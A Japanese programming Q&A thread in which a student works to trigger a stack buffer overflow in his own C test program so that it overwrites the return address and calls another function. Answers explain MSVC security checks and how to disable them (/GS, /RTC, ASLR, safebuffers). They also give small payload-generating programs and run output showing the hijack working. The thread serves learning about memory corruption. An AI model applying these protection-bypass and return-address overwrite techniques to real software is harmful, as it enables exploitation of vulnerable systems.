WSL echo scanf関数バッファを溢れさせると警告がでる。visual stdio

Question

知恵袋のほうでもしたのですが解決できそうにないのでお願いします。

#やりたいこと　これまでの過程

echoコマンドを使いパイプを作って文字列をプロンプトへ流したい。
（表現がおかしいかもしれません）

使うソースコード

#pragma warning(disable: 4996)
#include <intrin.h>
#include<stdio.h>
#include <string.h>

int sample(int con);
int sub(int a);


int sample(int con) {
	int (*func)(int a);
	func = sub;

	printf("sub関数のアドレス・・・%p\n", *func);
	void* a = _ReturnAddress();



	printf("リターンアドレス・・・%p\n", a);
	char moji[15];
	int* p;
	p = (int*)moji;
	int ebpofs;
	int ebpofs2;
	int* ebp;
	ebp = &con;

	unsigned* retaddr = (unsigned*)_AddressOfReturnAddress();
	unsigned* pp = retaddr - 1;
	printf("保存されたebp:%p\n", *pp);

	scanf("%s", moji);
	printf("%s\n", "ローカル変数");
	printf("%s\n", "ローカル変数 4バイト出力 16進数 0 80");

	for (ebpofs = 0; ebpofs < 80; ebpofs++) {
		printf("addr:%p price:%x\n", p + ebpofs, p[ebpofs]);
	}
	printf("%s\n", "--------------------------------------------");
	printf("%s\n", "コマンド引数 4バイト入力 16進数 -5 40");
	for (ebpofs2 = -5; ebpofs2 < 40; ebpofs2++) {
		printf("addr:%p price:%x\n", ebp + ebpofs2, ebp[ebpofs2]);
	}
	//リターンアドレス破壊4
	void* b = _ReturnAddress();
	printf("return:%p\n", b);
	printf("price:%x\n", p[13]);
	//p[13] = (int)func;
	//p[13] = ((p[13] >> 6) | (p[13] >> 9)) + 80485;
	//printf("price:%x\n", p[13]);
	void* c = _ReturnAddress();
	printf("return:%p\n", c);
	
	unsigned* retaddr2 = (unsigned*)_AddressOfReturnAddress();
	unsigned* pp2 = retaddr2 - 1;
	printf("ebp:%p\n", *pp2);
	return 0;
}

int main(int a) {
	sample(8);
	return 0;
}


int sub(int a) {
	printf("%s\n", "破壊成功！");
	return 0;
}

バッファオーバーフローを起こしてリターンアドレスを書き換えたいです。
（任意のアドレスに書き換えることは確かにできたが・・・
今回のと話は関係ない）

scanf関数の標準入力からエスケープシーケンスで16進数（アドレス）を指定したかったのですが

エスケープシーケンスはあくまでソースコード上のきまりということで・・・
（入力に￥ｘ６１を入れると {'','x','6','1'}となってしまう。）

echoコマンドから文字列を入れることにしました。
(windows標準のコマンドプロンプトではエスケープシーケンスが認識されなかったから
WSLを使用。)

ーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーー

echo -e "バッファを溢れさせられる文字列" | 上記のソースコード

すると

このようなデバッグエラーが出てきます。

WSLを導入したときはバッファを溢れさせる入力をしても

このような警告？は出なかったのですが、あるときパソコンを再起動したときから

このようなエラーが出てきました。

このエラーの中の「無視」を選択するとそのまま実行できます。

ただ、バッファがあふれる入力が44バイト以上だと「無視」を選択しても

実行できません。

リターンアドレスまでは52バイトあるのでどうしても44バイト以上の入力になってしまいます。

ーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーー
#やったこと

WSLを再インストールしました。
→結果は変わらず

visual stdio　のプロジェクトを変更して実行してみたのですが
→結果は変わらず

プロジェクト＞パロディ　をいろいろいじってみたのですが

そちらもなにも変わらず。

ネットサーフィンしていても

echoコマンドからバッファを溢れさせたら警告がでるなんていう

事例も発見できず・・・。

何が原因なのかが検討がつかないのですが何かアドバイスをください。

Answer 1

異常を検出した、というメッセージで至極正常な動作です

原因はあなたが異常を発生させてるから。

Comments

[kazuyakazuya]

回答ありがとうございます。

WSLを導入した直後はバッファを溢れさせても
このようなエラーが起こることはありませんでした。

なので、再インストールしたのですが

結果は変わらなかった・・・と書きました。

[y_waiwai]

だからなんでしょう。

スピード違反したけど捕まりませんでした。
だけど、XXXをしたら捕まりました。なぜでしょう、と聞いてるのと同じですがな

そもそもの考え方が間違ってますね

[kazuyakazuya]

やりたいことはこの警告がでないようにしたいです。

で、さっきから書いていますがWSL導入直後は

バッファを溢れさせてもこのような警告は一回たりとも出ていません。

が、パソコンを再起動した後バッファを溢れさせてみようとすると

謎の警告がでるようになったという話。

異常を検出した、というメッセージで至極正常な動作です
原因はあなたが異常を発生させてるから。
→それはバッファを溢れさせているから・・・ということくらいわかります。

どうやったら、再起動する前のようにバッファを溢れさせる入力ができるのか・
という意図の質問なのですが

異常を検出した、というメッセージで至極正常な動作です
原因はあなたが異常を発生させてるから。
→?

[yoorwm]

> バッファを溢れさせてもこのような警告は一回たりとも出ていません。
いや、そういう異常な操作に対しての動作は一定していないんですよ。
「警告が出るか？についても保証されない」、と言えば分かりますか？

[kazuyakazuya]

ありがとうございます。

（メモリの配置やバッファオーバーフロー検知・・・不安定とはいえ全く打つ手がないというわけではないじゃないんですか？）

なんか具体的な対抗策を教えてほしかったですねぇ・・・。

[maisumakun]

> 不安定とはいえ全く打つ手がないというわけではないじゃないんですか？

攻撃者なら別ですが、そうでないならこのようなルートで特定の実行を行おうとすること自体が必要とされません。

[kazuyakazuya]

この提示したソースコードの中の

sub関数　を呼び出すことを最終目標に掲げています。
（ReturnAddress(); 関数や　p[数値]　などで直接リターンアドレスを書き換える手もありますが
それでは勉強にならないので）

そういった意味で、バッファを溢れる入力する段階で

そもそも入力ができない・・・というのは・・・

ーーーーーーーーーーーーーーーーーーーーーーー
パソコンを再起動する前は

エスケープシーケンスを使って任意のアドレスに書き換えることができました。

ただ、それと同時に 保存された（積まれた）EBPまで破壊してしまい

正常にsub関数が呼び出されないという状況でした。

そこで、リターンアドレスと同時にEBPも書き換えてしまおうと

段階に入ったところで、今回の警告が出てくるようになりました・・・。

[y_waiwai]

えーと、、アソコでスピード出したら警察に捕まりました。捕まりたくないんですがどうしたらいいんでしょうか、という質問をあなたが見たときにどう感じるでしょう

ちょうどそのときにあなたが思ってるようなことを私も思ってますｗ

[kazuyakazuya]

あぁ・・・　まぁなんとなくわかります。

けど、そこをなんとか教えてほしいですねぇ

何か犯罪に関連するようなものでもないですし（たぶん）

[y_waiwai]

真面目な話をしますと、、
スタックオーバフローに関しては過去、いろんな攻撃がなされいろんな被害が発生したため、それに関してはある程度の対策がなされてます

あなたがリターンアドレスを書き換える、といってますが、最近はそういう事ができないように対策がなされるようになってきてます

[maisumakun]

> そういった意味で、バッファを溢れる入力する段階で

そもそも入力ができない・・・というのは・・・

ほとんどの人間にとって、それが望ましい動作です。

[maisumakun]

> けど、そこをなんとか教えてほしいですねぇ

仮想マシンを立ててFreeDOSでも使ったらどうでしょうか。ろくに保護もない環境です。

[kazuyakazuya]

ありがとうございます。

とりあえず、それで試してみます。

もしそれで警告が出たらWSL,visual stdioいずれかが要因ですね。

[maisumakun]

> もしそれで警告が出たらWSL,visual stdioいずれかが要因ですね。

あの、FreeDOSではどちらも動かないかと思います。

[kazuyakazuya]

あ・・・すみません。
C言語でも専用の環境があるみたいですね。

[dodox86]

FreeDOSで動作する16ビットCコンパイラを使ってください。レジスター長16ビット、基本は20ビットのアドレス空間、リアルモードです。更に頑張れば32ビットのプロテクトモードの勉強になるでしょう。そこなら一般保護例外起きるかも、ですね。

[kazuyakazuya]

ありがとうございます。面白そうなのでやってみます。

Answer 2

• バッファのセキュリティチェックを外しリビルドする。
• セキュリティチェックをかいくぐるようにバッファが壊れる事を祈る

ちなみに

__declspec(safebuffers) int sample(int con) {
// 省略

で関数ごとにセキュリティチェックを無効化できるようです。

---

追記
以下で攻撃文字列の生成・読み込みに成功

demo.exe /dump 28 => dump.binに攻撃文字列を生成
type dump.bin | demo.exe => dump.binをwindowsの標準コマンドtypeで読み込みdemo.exeにわたす
demo.exe /echo 28 | demo.exe

プロジェクトのプロパティ

• C/C++＞コード生成＞基本ランタイムチェック: 既定
• C/C++＞コード生成＞セキュリティチェック: セキュリティチェックを無効にします
• リンカー＞詳細設定＞ランダム化されたベースアドレス: いいえ

#pragma warning(disable: 4996)
#include <intrin.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int sample(int con);
int sub(int a);


int sample(int con) {
	int(*func)(int a);
	func = sub;

	printf("sub関数のアドレス・・・%p\n", *func);
	void* a = _ReturnAddress();



	printf("リターンアドレス・・・%p\n", a);
	char moji[15];
	int* p;
	p = (int*)moji;
	int ebpofs;
	int ebpofs2;
	int* ebp;
	ebp = &con;

	unsigned* retaddr = (unsigned*)_AddressOfReturnAddress();
	unsigned* pp = retaddr - 1;
	printf("書き換えたいアドレス: %p + %u\n", moji, (uintptr_t)retaddr - (uintptr_t)moji);
	printf("保存されたebp:%p\n", *pp);

	scanf("%s", moji);
	puts("ローカル変数");
	puts("ローカル変数 4バイト出力 16進数 0 80");

	for (ebpofs = 0; ebpofs < 80; ebpofs++) {
		printf("addr:%p price:%x\n", p + ebpofs, p[ebpofs]);
	}
	puts("--------------------------------------------");
	puts("コマンド引数 4バイト入力 16進数 -5 40");
	for (ebpofs2 = -5; ebpofs2 < 40; ebpofs2++) {
		printf("addr:%p price:%x\n", ebp + ebpofs2, ebp[ebpofs2]);
	}
	//リターンアドレス破壊4
	void* b = _ReturnAddress();
	printf("return:%p\n", b);
	printf("price:%x\n", p[13]);
	//p[13] = (int)func;
	//p[13] = ((p[13] >> 6) | (p[13] >> 9)) + 80485;
	//printf("price:%x\n", p[13]);
	void* c = _ReturnAddress();
	printf("return:%p\n", c);

	unsigned* retaddr2 = (unsigned*)_AddressOfReturnAddress();
	unsigned* pp2 = retaddr2 - 1;
	printf("ebp:%p\n", *pp2);
	return 0;
}

void dump(int argc, char** argv, FILE* fp) {
	int offset = 0;
	if (argc > 2)
		offset = atoi(argv[2]);
	for (int i = 0; i < offset; i++)
		fputc('x', fp);
	void* addr = sub;
	fwrite(&addr, sizeof(addr), 1, fp);
}

int main(int argc, char** argv) {
	if (argc > 1) {
		if (!strcmp(argv[1], "/dump")) {
			FILE* fp = fopen("dump.bin", "wb");
			dump(argc, argv, fp);
			fclose(fp);
			return 0;
		}
		else if (!strcmp(argv[1], "/echo")) {
			dump(argc, argv, stdout);
			return 0;
		}
	}
	sample(8);
	return 0;
}


int sub(int a) {
	puts("破壊成功！");
	return 0;
}

Comments

[kazuyakazuya]

回答ありがとうございます。

セキュリティチェックを外して

いただいたコードを貼り付けたのですが

結果に変化はありませんでした。

仮想環境でやってみます。

[kazuyakazuya]

ありがとうございます。

時間の関係で実際に試すのは後になりそうです。

Answer 3

MSVCでバッファオーバーランを実験するのはいろいろ厄介ですね。デバッグビルドの場合は asm さんが指摘されている“セキュリティチェック”のほかに“基本ランタイムチェック” (デフォルトで /RTC1) をやめる必要があります。
当方の環境ではそれで、“破壊成功”が表示されました。
なお、入力にはWSLのechoではなく、次のようなプログラムを作って標準入力に流し込んでいます。

#include <stdio.h>

int main(void)
{
	for (int i = 0; i < 28; ++i) putchar(0x00);
	putchar(0x7b);
	putchar(0x12);
	putchar(0x2f);
	putchar(0x00);
}

リターンアドレスはその都度変わりますので、調査が必要です。

実行結果

sub関数のアドレス・・・002F127B
リターンアドレス・・・002F194A
保存されたebp:00AFFE10
ローカル変数
ローカル変数 4バイト出力 16進数 0 80
addr:00AFFDA0 price:0
addr:00AFFDA4 price:0
addr:00AFFDA8 price:0
addr:00AFFDAC price:0
addr:00AFFDB0 price:0
addr:00AFFDB4 price:0
addr:00AFFDB8 price:0
addr:00AFFDBC price:2f127b
addr:00AFFDC0 price:0
addr:00AFFDC4 price:2f1348
addr:00AFFDC8 price:2f1348
addr:00AFFDCC price:885000
addr:00AFFDD0 price:affdec
addr:00AFFDD4 price:7ad5c922
addr:00AFFDD8 price:0
addr:00AFFDDC price:2f1348
addr:00AFFDE0 price:0
addr:00AFFDE4 price:7ad8e62e
addr:00AFFDE8 price:7ae64e64
addr:00AFFDEC price:affe00
addr:00AFFDF0 price:7ad8e8f2
addr:00AFFDF4 price:2f1348
addr:00AFFDF8 price:1
addr:00AFFDFC price:1
addr:00AFFE00 price:affe0c
addr:00AFFE04 price:2f2213
addr:00AFFE08 price:0
addr:00AFFE0C price:affe1c
addr:00AFFE10 price:affe24
addr:00AFFE14 price:2f252e
addr:00AFFE18 price:1
addr:00AFFE1C price:b2af80
addr:00AFFE20 price:b35270
addr:00AFFE24 price:affe80
addr:00AFFE28 price:2f2397
addr:00AFFE2C price:6ecf2c37
addr:00AFFE30 price:2f1348
addr:00AFFE34 price:2f1348
addr:00AFFE38 price:885000
addr:00AFFE3C price:0
addr:00AFFE40 price:0
addr:00AFFE44 price:0
addr:00AFFE48 price:0
addr:00AFFE4C price:0
addr:00AFFE50 price:0
addr:00AFFE54 price:0
addr:00AFFE58 price:0
addr:00AFFE5C price:2fa5a0
addr:00AFFE60 price:2fa5ac
addr:00AFFE64 price:0
addr:00AFFE68 price:affe2c
addr:00AFFE6C price:0
addr:00AFFE70 price:affeec
addr:00AFFE74 price:2f4230
addr:00AFFE78 price:6e4f4287
addr:00AFFE7C price:0
addr:00AFFE80 price:affe88
addr:00AFFE84 price:2f222d
addr:00AFFE88 price:affe90
addr:00AFFE8C price:2f25a8
addr:00AFFE90 price:affea0
addr:00AFFE94 price:75d96359
addr:00AFFE98 price:885000
addr:00AFFE9C price:75d96340
addr:00AFFEA0 price:affefc
addr:00AFFEA4 price:77ad7b74
addr:00AFFEA8 price:885000
addr:00AFFEAC price:bdee94af
addr:00AFFEB0 price:0
addr:00AFFEB4 price:0
addr:00AFFEB8 price:885000
addr:00AFFEBC price:0
addr:00AFFEC0 price:0
addr:00AFFEC4 price:0
addr:00AFFEC8 price:0
addr:00AFFECC price:0
addr:00AFFED0 price:0
addr:00AFFED4 price:0
addr:00AFFED8 price:0
addr:00AFFEDC price:0
--------------------------------------------
コマンド引数 4バイト入力 16進数 -5 40
addr:00AFFDAC price:0
addr:00AFFDB0 price:0
addr:00AFFDB4 price:0
addr:00AFFDB8 price:0
addr:00AFFDBC price:2f127b
addr:00AFFDC0 price:0
addr:00AFFDC4 price:2f1348
addr:00AFFDC8 price:2f1348
addr:00AFFDCC price:885000
addr:00AFFDD0 price:affdec
addr:00AFFDD4 price:7ad5c922
addr:00AFFDD8 price:0
addr:00AFFDDC price:2f1348
addr:00AFFDE0 price:0
addr:00AFFDE4 price:7ad8e62e
addr:00AFFDE8 price:7ae64e64
addr:00AFFDEC price:affe00
addr:00AFFDF0 price:7ad8e8f2
addr:00AFFDF4 price:2f1348
addr:00AFFDF8 price:1
addr:00AFFDFC price:1
addr:00AFFE00 price:affe0c
addr:00AFFE04 price:2f2213
addr:00AFFE08 price:0
addr:00AFFE0C price:affe1c
addr:00AFFE10 price:affe24
addr:00AFFE14 price:2f252e
addr:00AFFE18 price:1
addr:00AFFE1C price:b2af80
addr:00AFFE20 price:b35270
addr:00AFFE24 price:affe80
addr:00AFFE28 price:2f2397
addr:00AFFE2C price:6ecf2c37
addr:00AFFE30 price:2f1348
addr:00AFFE34 price:2f1348
addr:00AFFE38 price:885000
addr:00AFFE3C price:0
addr:00AFFE40 price:0
addr:00AFFE44 price:0
addr:00AFFE48 price:0
addr:00AFFE4C price:0
addr:00AFFE50 price:0
addr:00AFFE54 price:0
addr:00AFFE58 price:0
addr:00AFFE5C price:2fa5a0
return:002F127B
price:7ad5c922
return:002F127B
ebp:00000000
破壊成功！

環境を追記しておきます。
Windows10
Visual Studio 2019

Comments

[kazuyakazuya]

回答ありがとうございます。

「既定」にした結果、警告が出なくなりました

が、プログラムが開始されないまま終了してしまいます。

[kazuyakazuya]

echoじゃできないのかなぁ・・・

[Bull]

コマンドプロンプトで
wsl.exe echo -e 'xxxx' | プログラム
で出来ませんか？

[kazuyakazuya]

そちらでも結果に変化はありませんでした。

[asm]

正直、実行しているexeが正しいものかが疑わしいですね
デバッグビルドとリリースビルドでexeファイルが出力される場所が変わる事はご存知ですよね？

一度、出力メッセージなどを変化させて実行しているファイルが追随しているかを試した方がよいように思います。

[kazuyakazuya]

正直、実行しているexeが正しいものかが疑わしいですね
→コードを変更したところechoでの結果も変わったので大丈夫です。

こんかいは23バイト（8バイト漏れ）までならプログラムが実行されますが

24バイト以上の入力で実行されずプログラムが終了してしまいます。

これはバッファ検知とかの問題ではなく

24バイト目の、プログラムを実行するにあたって何か大事な

ものも破壊してしまっている・・・？

で、今思ったのですが

書き換えたいリターンアドレス以外の値を適当に 'a'　で埋めていたわけですが

EBPや何か大事なものも破壊してしまうため

aではなく　ひとつひとつ任意の値(入っていた値を再現)を入れる必要があるのかぁ・・・

[Bull]

バッファ (char moji[15];) とリターンアドレスの間に 以前の ebp が保存されているので、バッファオーバーランで ebp は破壊されますが、ebp が破壊されても sub 関数が呼ばれることは確認できています。
sub 関数から return するときに異常終了しますが、これを回避して正常終了させるのはなかなか大変です。手っ取り早いのは sub 関数で exit 関数を呼んで終了させることでしょう。

あと、プログラムがどこで終了してるのかデバッグして確かめましょう。C のソースコードでのトレースではなく、アセンブリコードでトレースしてレジスタの値も確認すれば、どこに問題があるのかがわるのではないでしょうか。

[kazuyakazuya]

アドバイスありがとうございます。

(中間考査あるので。。。)

確かめるのは後になります。。。

[kazuyakazuya]

ご提示いただいた以下のコード

int main(void)
{
for (int i = 0; i < 28; ++i) putchar(0x00);
putchar(0x7b);
putchar(0x12);
putchar(0x2f);
putchar(0x00);
}

（私自身putchar・getchar関数を使ったことがなくて・・・）
このコードは私が提示したソースファイルとは別のところから
実行（ビルド・・・）するのですよね？

このプログラムをビルドすると標準入力へ（私が提示したコード）
値が入るのかと思っていたのですが
実際に入ることはありませんでした。

putchar関数について調べていても
標準入力へ文字列を流すような説明はなかったのですが・・・

そういったことでこのコード自体の糸が（どうやって使用するのか？）
分からないです。ご教授いただけませんでしょうか？

[Bull]

このプログラムは wsl.exe echo の代わりです。
このプログラムを bin.exe、テストするプログラムを prog.exe とすると
bin.exe | prog.exe
などとパイプでつなげば、テストプログラムでバイナリーデータを受け取れます。
Windows の echo はエスケープ文字を使って、バイナリーデータを出力することは出来ないので、決め打ちでバイナリーデータを標準出力に出力しています。
sub 関数のアドレスを調査した後プログラムを書き換えて、コンパイルしなければならないので二度手間です。
asm さんの提示されたプログラムはそれを自動的にやってくれるので、実験するならそちらの方がいいと思います。

[kazuyakazuya]

ありがとうございます。

パイプで繋げた結果
任意のアドレスに書き換えることはできたのですが
sub関数を呼び出すことはできませんでした・・・。

sub関数のアドレス・・・ 011E12C1
addr:0053FD60 price:0
addr:0053FD64 price:0
addr:0053FD68 price:0
addr:0053FD6C price:0
addr:0053FD70 price:0
addr:0053FD74 price:0
addr:0053FD78 price:0
addr:0053FD7C price:0
addr:0053FD80 price:0
addr:0053FD84 price:0
addr:0053FD88 price:0
addr:0053FD8C price:0
addr:0053FD90 price:0
addr:0053FD94 price:11e12c1

[kazuyakazuya]

あ！できました！！！！！！

ありがとうございます！！！！！！！！

[kazuyakazuya]

言われた通り
いざバッファオーバーフローを起こそうとすると大変ですね・・・。
なので仮想環境はそちらはそちらでやろうと思います。

（あと、リターンアドレスを書き換えてsub関数を呼び出したのですが
正常に終了しました・・・なぜだろう）

Answer 4

このようなデバッグエラーが出てきます。

デバッグビルドでやっているからではないでしょうか。

---

このような、言語の枠外の脆弱性を狙うようなコードは、ちょっとした条件の変化で動いたり動かなくなったりします。

Comments

[kazuyakazuya]

回答ありがとうございます。

デバッグビルドでやっているからではないでしょうか。
→知恵袋のほうでも指摘をいただきました。

デバッグなし　で実行　なども試していたのですが（構成からデバッグを外したり）
すべて結果は変わりませんでした。

[maisumakun]

バッファオーバーフローが起きた場合は「未定義の動作」です。ライブラリのバージョンやメモリ配置など、なにか1つが変わっても動作が変わることが十分に考えられます。